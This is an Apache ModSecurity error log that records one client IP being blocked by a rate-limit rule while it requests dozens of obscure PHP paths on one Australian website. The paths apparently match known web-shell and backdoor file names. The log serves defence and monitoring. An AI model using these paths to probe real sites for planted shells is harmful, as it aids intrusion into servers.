[Fri Apr 17 05:19:57.695085 2026] [:error] [pid 9153:tid 9226] [client 20.111.44.26:49919] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aeFSfeMHGxkTZX3c45fyQAAAAIg"]
[Fri Apr 17 05:19:58.228628 2026] [:error] [pid 9153:tid 9229] [client 20.111.44.26:6320] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/block-template-utils.php"] [unique_id "aeFSfuMHGxkTZX3c45fyRwAAAIs"]
[Fri Apr 17 05:19:58.830074 2026] [:error] [pid 51878:tid 51902] [client 20.111.44.26:55763] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/block-template-utils.php"] [unique_id "aeFSfknQhUtMbw9EsgZUvAAAARY"]
[Fri Apr 17 05:19:59.348650 2026] [:error] [pid 9153:tid 9241] [client 20.111.44.26:55802] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/block-template-utils.php"] [unique_id "aeFSf-MHGxkTZX3c45fyVAAAAJc"]
[Fri Apr 17 05:19:59.947920 2026] [:error] [pid 9153:tid 9231] [client 20.111.44.26:46670] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/block-template-utils.php"] [unique_id "aeFSf-MHGxkTZX3c45fyVwAAAI0"]
[Fri Apr 17 05:20:00.529103 2026] [:error] [pid 51878:tid 51902] [client 20.111.44.26:6308] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/14.php"] [unique_id "aeFSgEnQhUtMbw9EsgZUwwAAARY"]
[Fri Apr 17 05:20:01.146649 2026] [:error] [pid 9263:tid 9280] [client 20.111.44.26:46692] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/14.php"] [unique_id "aeFSgRP68VyHNvj1e57ptAAAAM8"]
[Fri Apr 17 05:20:01.903272 2026] [:error] [pid 9263:tid 9286] [client 20.111.44.26:40994] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/14.php"] [unique_id "aeFSgRP68VyHNvj1e57ptgAAANU"]
[Fri Apr 17 05:20:02.524100 2026] [:error] [pid 51878:tid 51880] [client 20.111.44.26:49894] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/14.php"] [unique_id "aeFSgknQhUtMbw9EsgZUyAAAAQA"]
[Fri Apr 17 05:20:03.106710 2026] [:error] [pid 9153:tid 9232] [client 20.111.44.26:6314] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update_with_pics.php"] [unique_id "aeFSg-MHGxkTZX3c45fyWQAAAI4"]
[Fri Apr 17 05:20:03.709243 2026] [:error] [pid 51878:tid 51889] [client 20.111.44.26:39494] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update_with_pics.php"] [unique_id "aeFSg0nQhUtMbw9EsgZUzQAAAQk"]
[Fri Apr 17 05:20:04.258448 2026] [:error] [pid 9151:tid 9181] [client 20.111.44.26:39525] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update_with_pics.php"] [unique_id "aeFShMhTVuRPkua22vSSuwAAABQ"]
[Fri Apr 17 05:20:04.808914 2026] [:error] [pid 9263:tid 9284] [client 20.111.44.26:41022] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update_with_pics.php"] [unique_id "aeFShBP68VyHNvj1e57pvQAAANM"]
[Fri Apr 17 05:20:05.327609 2026] [:error] [pid 51878:tid 51885] [client 20.111.44.26:6311] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/date-object.php"] [unique_id "aeFShUnQhUtMbw9EsgZU0QAAAQU"]
[Fri Apr 17 05:20:05.833126 2026] [:error] [pid 9153:tid 9237] [client 20.111.44.26:55752] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/date-object.php"] [unique_id "aeFSheMHGxkTZX3c45fyWwAAAJM"]
[Fri Apr 17 05:20:06.340809 2026] [:error] [pid 9152:tid 9214] [client 20.111.44.26:55767] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/date-object.php"] [unique_id "aeFShpJYca8I3TNCwIcFAgAAAFg"]
[Fri Apr 17 05:20:06.878786 2026] [:error] [pid 9153:tid 9225] [client 20.111.44.26:34946] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/date-object.php"] [unique_id "aeFShuMHGxkTZX3c45fyXgAAAIc"]
[Fri Apr 17 05:20:07.438965 2026] [:error] [pid 9152:tid 9195] [client 20.111.44.26:6327] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w-1.php"] [unique_id "aeFSh5JYca8I3TNCwIcFBQAAAEU"]
[Fri Apr 17 05:20:08.004684 2026] [:error] [pid 9153:tid 9239] [client 20.111.44.26:40991] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w-1.php"] [unique_id "aeFSiOMHGxkTZX3c45fyZAAAAJU"]
[Fri Apr 17 05:20:08.539939 2026] [:error] [pid 9153:tid 9242] [client 20.111.44.26:40967] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w-1.php"] [unique_id "aeFSiOMHGxkTZX3c45fyZwAAAJg"]
[Fri Apr 17 05:20:09.128442 2026] [:error] [pid 9153:tid 9233] [client 20.111.44.26:46711] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w-1.php"] [unique_id "aeFSieMHGxkTZX3c45fyaQAAAI8"]
[Fri Apr 17 05:20:09.669518 2026] [:error] [pid 9151:tid 9169] [client 20.111.44.26:34971] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aeFSichTVuRPkua22vSSvwAAAAg"]
[Fri Apr 17 05:20:10.299707 2026] [:error] [pid 9152:tid 9195] [client 20.111.44.26:33248] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aeFSipJYca8I3TNCwIcFGQAAAEU"]
[Fri Apr 17 05:20:10.855113 2026] [:error] [pid 9151:tid 9173] [client 20.111.44.26:33219] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aeFSishTVuRPkua22vSSwAAAAAw"]
[Fri Apr 17 05:20:11.384285 2026] [:error] [pid 9151:tid 9182] [client 20.111.44.26:39550] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aeFSi8hTVuRPkua22vSSwwAAABU"]
[Fri Apr 17 05:20:11.972014 2026] [:error] [pid 9151:tid 9180] [client 20.111.44.26:39605] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbh.php"] [unique_id "aeFSi8hTVuRPkua22vSSxwAAABM"]
[Fri Apr 17 05:20:12.520083 2026] [:error] [pid 9152:tid 9193] [client 20.111.44.26:38927] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbh.php"] [unique_id "aeFSjJJYca8I3TNCwIcFIQAAAEM"]
[Fri Apr 17 05:20:13.111403 2026] [:error] [pid 9263:tid 9286] [client 20.111.44.26:38918] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbh.php"] [unique_id "aeFSjRP68VyHNvj1e57pyQAAANU"]
[Fri Apr 17 05:20:13.692938 2026] [:error] [pid 9151:tid 9181] [client 20.111.44.26:32264] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bbh.php"] [unique_id "aeFSjchTVuRPkua22vSSyQAAABQ"]
[Fri Apr 17 05:20:14.216814 2026] [:error] [pid 9152:tid 9212] [client 20.111.44.26:47829] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aeFSjpJYca8I3TNCwIcFJAAAAFY"]
[Fri Apr 17 05:20:14.726933 2026] [:error] [pid 51878:tid 51885] [client 20.111.44.26:6150] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aeFSjknQhUtMbw9EsgZU1wAAAQU"]
[Fri Apr 17 05:20:15.233635 2026] [:error] [pid 9263:tid 9265] [client 20.111.44.26:42434] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aeFSjxP68VyHNvj1e57pzAAAAMA"]
[Fri Apr 17 05:20:15.710147 2026] [:error] [pid 9152:tid 9191] [client 20.111.44.26:41734] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gool.php"] [unique_id "aeFSj5JYca8I3TNCwIcFJwAAAEE"]
[Fri Apr 17 05:20:16.209990 2026] [:error] [pid 9152:tid 9206] [client 20.111.44.26:38381] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFSkJJYca8I3TNCwIcFKQAAAFA"]
[Fri Apr 17 05:20:16.718516 2026] [:error] [pid 9263:tid 9278] [client 20.111.44.26:44854] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFSkBP68VyHNvj1e57pzwAAAM0"]
[Fri Apr 17 05:20:17.224774 2026] [:error] [pid 9263:tid 9281] [client 20.111.44.26:6253] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFSkRP68VyHNvj1e57p0AAAANA"]
[Fri Apr 17 05:20:17.713167 2026] [:error] [pid 9263:tid 9283] [client 20.111.44.26:6229] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeFSkRP68VyHNvj1e57p1QAAANI"]
[Fri Apr 17 05:20:18.189073 2026] [:error] [pid 9152:tid 9209] [client 20.111.44.26:6710] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeFSkpJYca8I3TNCwIcFLQAAAFM"]
[Fri Apr 17 05:20:18.676381 2026] [:error] [pid 9263:tid 9286] [client 20.111.44.26:60512] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeFSkhP68VyHNvj1e57p2AAAANU"]
[Fri Apr 17 05:20:19.177958 2026] [:error] [pid 9263:tid 9269] [client 20.111.44.26:56377] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeFSkxP68VyHNvj1e57p2gAAAMQ"]
[Fri Apr 17 05:20:19.673776 2026] [:error] [pid 9263:tid 9278] [client 20.111.44.26:6510] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeFSkxP68VyHNvj1e57p3wAAAM0"]
[Fri Apr 17 05:20:20.176415 2026] [:error] [pid 51878:tid 51881] [client 20.111.44.26:7159] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFSlEnQhUtMbw9EsgZU6QAAAQE"]
[Fri Apr 17 05:20:20.705429 2026] [:error] [pid 9263:tid 9276] [client 20.111.44.26:7163] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFSlBP68VyHNvj1e57p5AAAAMs"]
[Fri Apr 17 05:20:21.210472 2026] [:error] [pid 9263:tid 9288] [client 20.111.44.26:56356] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFSlRP68VyHNvj1e57p5gAAANc"]
[Fri Apr 17 05:20:21.713778 2026] [:error] [pid 9263:tid 9273] [client 20.111.44.26:7111] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeFSlRP68VyHNvj1e57p6wAAAMg"]
[Fri Apr 17 05:20:22.216691 2026] [:error] [pid 9152:tid 9199] [client 20.111.44.26:56349] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpputty.php"] [unique_id "aeFSlpJYca8I3TNCwIcFMAAAAEk"]
[Fri Apr 17 05:20:22.723626 2026] [:error] [pid 9151:tid 9180] [client 20.111.44.26:33625] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpputty.php"] [unique_id "aeFSlshTVuRPkua22vSSzAAAABM"]
[Fri Apr 17 05:20:23.215899 2026] [:error] [pid 51878:tid 51893] [client 20.111.44.26:33613] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpputty.php"] [unique_id "aeFSl0nQhUtMbw9EsgZU7QAAAQ0"]
[Fri Apr 17 05:20:23.688441 2026] [:error] [pid 9151:tid 9162] [client 20.111.44.26:6503] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpputty.php"] [unique_id "aeFSl8hTVuRPkua22vSSzgAAAAE"]
[Fri Apr 17 05:20:24.206984 2026] [:error] [pid 9152:tid 9196] [client 20.111.44.26:60164] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dodo.php"] [unique_id "aeFSmJJYca8I3TNCwIcFNgAAAEY"]
[Fri Apr 17 05:20:24.738107 2026] [:error] [pid 9152:tid 9197] [client 20.111.44.26:6522] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dodo.php"] [unique_id "aeFSmJJYca8I3TNCwIcFOAAAAEc"]
[Fri Apr 17 05:20:25.269699 2026] [:error] [pid 9152:tid 9192] [client 20.111.44.26:63383] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dodo.php"] [unique_id "aeFSmZJYca8I3TNCwIcFOgAAAEI"]
[Fri Apr 17 05:20:25.772029 2026] [:error] [pid 51878:tid 51891] [client 20.111.44.26:33618] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dodo.php"] [unique_id "aeFSmUnQhUtMbw9EsgZU8gAAAQs"]
[Fri Apr 17 05:20:26.276108 2026] [:error] [pid 9151:tid 9168] [client 20.111.44.26:7145] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-post-data.php"] [unique_id "aeFSmshTVuRPkua22vSS0QAAAAc"]
[Fri Apr 17 05:20:26.821371 2026] [:error] [pid 51878:tid 51880] [client 20.111.44.26:33630] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-post-data.php"] [unique_id "aeFSmknQhUtMbw9EsgZU9wAAAQA"]
[Fri Apr 17 05:20:27.316448 2026] [:error] [pid 51878:tid 51903] [client 20.111.44.26:7148] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-post-data.php"] [unique_id "aeFSm0nQhUtMbw9EsgZU-gAAARc"]
